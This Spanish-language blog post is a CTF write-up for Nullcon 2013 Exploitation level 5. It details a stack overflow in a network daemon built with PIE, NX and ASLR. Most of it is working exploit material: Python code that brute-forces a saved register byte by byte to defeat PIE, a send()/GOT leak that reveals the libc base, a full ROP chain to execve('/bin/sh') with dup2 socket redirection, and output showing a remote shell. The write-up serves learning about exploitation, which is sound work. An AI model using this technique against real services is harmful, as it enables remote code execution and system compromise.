Tras resolver el nivel 4 de Exploitation propuesto en el Nullcon 2013 Battle Underground CTF, aún me quedaba pendiente el último nivel (Exploitation Question 5), que no pude resolver durante el CTF por falta de conocimiento y documentación sobre el tema.
Después me pase un tiempo buscando y probando cosas, pero al final lo deje como imposible. Hasta que hace ya unos días, me enteré (vía Twitter) que Eloi Sanfelix, de int3pids, había publicado una entrada sobre cómo resolver el nivel 4 de la VM Fusion de Exploit-Exercises. Tras echarlo un ojo pude ver que su entorno de explotación se parecía bastante al mío (ASLR/NX/PIE), así que me puse a estudiar su caso. Al rato me di cuenta de que la técnica que había usado para evadir PIC/PIE la podía aplicar de la misma forma, pudiendo hacer luego una explotación mucho más sencilla con ROP.
Así que bueno, como ha sido una gran experiencia para mi lograr resolver esta prueba (aunque haya sido fuera de tiempo), en esta entrada trataré de explicar cómo resolverla. Pero no antes de dar a las gracias al crack de Eloi, que si no llega a ser por él, jamás la hubiese resuelto ;-D.
Al igual que la prueba anterior, consiste en explotar un daemon que corre en el puerto 6666 del host nullcon-e3.no-ip.org con el fin de obtener la key que da por solucionado el nivel. Para poder llevar a cabo la explotación, se nos proporciona el binario del daemon en cuestión.
Descarga: Exploitation 5
MD5: 02c029857ac8049f829a0f29c6d9df5b
Identificación del binario
$ file server5 server5: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, BuildID[sha1]=584bb50ebb2e97e8ebb0fbaf03b69f86b11a8966, not stripped
Se trata de un objeto compartido en formato ELF para Linux, arquitectura i386, utiliza enlace dinámico y no se encuentra stripped, por lo que los símbolos que genera el compilador no han sido eliminados.
Protecciones
$ /tools/exploiting/checksec.sh --file server5 RELRO STACK CANARY NX PIE FILE Partial RELRO No canary found NX enabled PIE enabled server5
Aquí es donde nos encontramos el mayor de los problemas; el binario está compilado con PIC/PIE (Position-independent executables). Esto quiere decir que puede ser localizado en cualquier lugar de la memoria, y aun así ser ejecutado correctamente sin modificarse, independientemente de su dirección absoluta. De esta forma, y con el apoyo de ASLR, sus direcciones varían en cada ejecución, haciendo que sea más difícil la explotación con ROP.
Por lo tanto, las protecciones a evadir en esta explotación son: ASLR, NX y PIE.
Vulnerabilidad
//----- (00000AFE) -------------------------------------------------------- signed int __cdecl main() { [...] len = recv(socket_fd, &user, 0x270Fu, 0); if ( (signed int)len <= 0 ) { perror("recv error:"); exit(1); } printf("received %d bytes", len); *((_BYTE *)&user + len) = 0; check_user(&user, len); [...] } int __cdecl check_user(const void *user, size_t len) { int buff; // [sp+1Ch] [bp-1Ch]@1 memset(&buff, 0, 0x14u); memcpy(&buff, user, len); return 0; } size_t __cdecl check_password(const char *passwd) { return strlen(a1); }
La vulnerabilidad se ve rápidamente tras un pequeño análisis. Cuando el programa solicita el login al cliente, recibe hasta un máximo de 0x270F bytes. Luego, cuando el login es recibido, se lo pasa a la función check_user(), la cual copia su contenido en otro buffer local sin comprobar su tamaño, dando lugar a un stack-based overflow.
$ nc 127.0.0.1 6666 Welcome to International Banking System Inc Enter login: danigargu Password: 12345 $ nc 127.0.0.1 6666 Welcome to International Banking System Inc Enter login: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab $
Si verificamos con GDB cuándo se sobreescribe la dirección de retorno, vemos que lo hace a partir del offset 32 de la cadena enviada. Luego, si echamos un ojo a los registros, podemos ver que además de EBP y EIP, EBX también es alterado.
(gdb) i r ebx ebp eip ebx 0x41386141 1094213953 ebp 0x62413961 0x62413961 eip 0x31624130 0x3162413
¿Por qué EBX?
Esto se debe a que los epílogos de función en los binarios compilados con PIE añaden un "pop ebx". De esta manera almacenan en el registro EBX la dirección de carga del binario más un desplazamiento, usándolo luego para el tema del código independiente de la posición.
10ab: 5b pop ebx 10ac: 89 ec mov esp,ebp 10ae: 5d pop ebp 10af: c3 ret
¿Para qué nos puede servir la dirección de EBX?
Como mantiene la dirección de carga más un desplazamiento, si obtenemos esta dirección de alguna forma y la restamos el desplazamiento calculado, obtendremos la dirección de carga del binario de forma dinámica, pudiendo hacer luego llamadas a donde queramos.
Breakpoint 1, 0xf77fca7b in check_user () (gdb) i r ebx ebx 0xf7772ff4 -143183884 (gdb) info proc stat ... Start of text: 0xf7770000 (gdb) p /x $ebx-0xf7770000 $1 = 0x2ff4 (gdb) p /x $ebx-0x2ff4 $2 = 0xf7770000 ---> Comienzo sección .text
Por desgracia, al realizar la explotación pisamos esta dirección, así que tenemos que encontrar alguna forma de obtenerla. Como sabemos que comienza a sobrescribirse en el offset 24 (32 - 4*2), podemos lanzar algunas pruebas.
$ perl -e 'print "A" x 24 . "B"' | nc 127.0.0.1 6666 Welcome to International Banking System Inc Enter login: $ $ perl -e 'print "A" x 24 . "\xf4"' | nc 127.0.0.1 6666 Welcome to International Banking System Inc Enter login: Password: $ $ perl -e 'print "A" x 24 . "\xf4\x2f"' | nc 127.0.0.1 6666 Welcome to International Banking System Inc Enter login: Password: $
Si sobrescribimos la dirección con los bytes correctos, se nos solicita el password, en cambio, si lo hacemos con los incorrectos, solo se nos solicita el login. En base a esto podemos obtener el valor de EBX byte a byte usando fuerza bruta, aprovechando para ello parte del código de Eloi.
def find_ebx(): ebx = "" s = get_connection(host, port) base_resp = send_user(s, "xXx") # Response: 'Password: ' print "[*] Base response: " + repr(base_resp) s.close() while len(ebx)<4: for i in xrange(0,256): # skip 0xac --> BAD BYTE!! if i == 172: continue try: s = get_connection(host, port) resp = send_user(s, padding + ebx + chr(i)) s.close() if resp == base_resp: ebx = ebx + chr(i) print "[*] EBX value is 0x%s" % ebx[::-1].encode("hex") break except socket.error: #print "socket error" pass if i==255: print "[*] Could not discover ebx value. Exploit failed." sys.exit(-1) return ebx
Teniendo el valor de EBX, solo tenemos que restarle 0x2ff4 para calcular la base del binario.
ebx = find_ebx() base = u(ebx)[0] - 0x2ff4
Con esto podemos comenzar a construir el payload ROP, pero como el binario no dispone de muchos gadgets, lo haremos directamente desde la libc.
Como necesitamos obtener la dirección base de la libc para el payload ROP, aprovechamos la entrada send de la PLT para enviarnos por el socket la dirección de la función almacenada en la primera entrada de la GOT (sigemptyset).
send_plt = p(base + 0x8c4) # send PLT entry got_base = p(base + 0x3000) # GOT start # get address of sigemptyset from the libc send = send_plt # send() send += "AAAA" # RET send += p(4) # int sockfd send += got_base # const void *buf send += p(4) # size_t len send += p(0) # int flags s = get_connection(host, port) resp = send_user(s, padding + ebx + "AAAA" + send) s.close()
Una vez recibida la dirección, la restamos el offset que ocupa en la libc, obteniendo así su dirección base.
$ objdump -T /lib/i386-linux-gnu/i686/cmov/libc.so.6 | egrep 'sigemptyset' 0002b390 g DF .text 0000004c GLIBC_2.0 sigemptyset
libc = u(resp[:4])[0] - 0x2b390
Teniendo esto, ya podemos generar un payload ROP execve("/bin/sh") con ROPGadget:
$ ROPgadget /lib/i386-linux-gnu/i686/cmov/libc.so.6
Después de hacer unos pequeños cambios, el payload queda así:
# Generated by ROPgadget 4.0 # execve("/bin//sh", ["/bin/sh", NULL], [NULL]) rop += p(libc + 0x00001a9e) # pop %edx ; ret rop += p(libc + 0x0015f9a0) # @ .data rop += p(libc + 0x00020aec) # pop %eax ; ret rop += "/bin" # /bin rop += p(libc + 0x00091e8e) # mov %eax,(%edx) ; pop %ebp ; ret rop += "AAAA" # padding rop += p(libc + 0x00001a9e) # pop %edx ; ret rop += p(libc + 0x0015f9a4) # @ .data + 4 rop += p(libc + 0x00020aec) # pop %eax ; ret rop += "/shA" # /shA rop += p(libc + 0x00091e8e) # mov %eax,(%edx) ; pop %ebp ; ret rop += "AAAA" # padding rop += p(libc + 0x00001a9e) # pop %edx ; ret rop += p(libc + 0x0015f9a7) # @ .data + 7 rop += p(libc + 0x0003c98e) # xor %eax,%eax ; ret rop += p(libc + 0x00091e8e) # mov %eax,(%edx) ; pop %ebp ; ret rop += "AAAA" # padding rop += p(libc + 0x00078af4) # pop %ebx ; ret rop += p(libc + 0x0015f9a0) # @ .data rop += p(libc + 0x000e2c01) # pop %edx ; pop %ecx ; pop %ebx ; ret rop += "AAAA" # padding rop += p(libc + 0x0015f9a7) # @ .data + 7 rop += p(libc + 0x0015f9a0) # @ .data ---> wrong padding!! rop += p(libc + 0x00001a9e) # pop %edx ; ret rop += p(libc + 0x0015f9a7) # @ .data + 7 # small change rop += p(libc + 0x00020aec) # pop eax ; ret rop += p(0xb) # execve syscall rop += p(libc + 0x0002a9d5) # int $0x80
Hay que tener en cuenta que para poder interactuar con la shell abierta, necesitamos hacer antes un duplicado del descriptor del socket del cliente (4) a los tres descriptores estándar (0-STDIN, 1-STDOUT, 2-STDERR). Para ello, aprovechamos que tenemos la dirección base de la libc para hacer un ret2libc con dup2.
# dup2(4,0) rop = p(libc + 0x000c6c90) # dup2 rop += p(libc + 0x0002c0f5) # pop esi ; pop edi ; ret --> clean args rop += p(4) # int oldfd rop += p(0) # int newfd # dup2(4,1) rop += p(libc + 0x000c6c90) # dup2 rop += p(libc + 0x0002c0f5) # pop esi ; pop edi ; ret --> clean args rop += p(4) # int oldfd rop += p(1) # int newfd # dup2(4,2) rop += p(libc + 0x000c6c90) # dup2 rop += p(libc + 0x0002c0f5) # pop esi ; pop edi ; ret --> clean args rop += p(4) # int oldfd rop += p(2) # int newfd
Teniendo la bomba armada, la lanzamos:
$ python exploit_nullcon2013_exploitation_5.py [*] Base response: 'Password: ' [*] EBX value is 0xf4 [*] EBX value is 0x8ff4 [*] EBX value is 0x7c8ff4 [*] EBX value is 0xf77c8ff4 [*] Binary base: 0xf77c6000 [*] PLT entry for 'send' @ 0xf77c68c4 [*] GOT start @ 0xf77c9000 [*] Discovered libc base: 0xf7621000 [*] Launching ROP exploit [+] SUCESS! We have a shell $ whoami dani $
¡FUNCIONA! Tenemos una shell ;-D
Posiblemente este exploit no hubiese funcionado en la máquina real de la prueba debido al uso de una libc diferente a la nuestra, aunque seguramente la podríamos haber obtenido al explotar el nivel anterior. De todas formas, la idea queda bastante clara.
Y esto ha sido todo. Un saludo!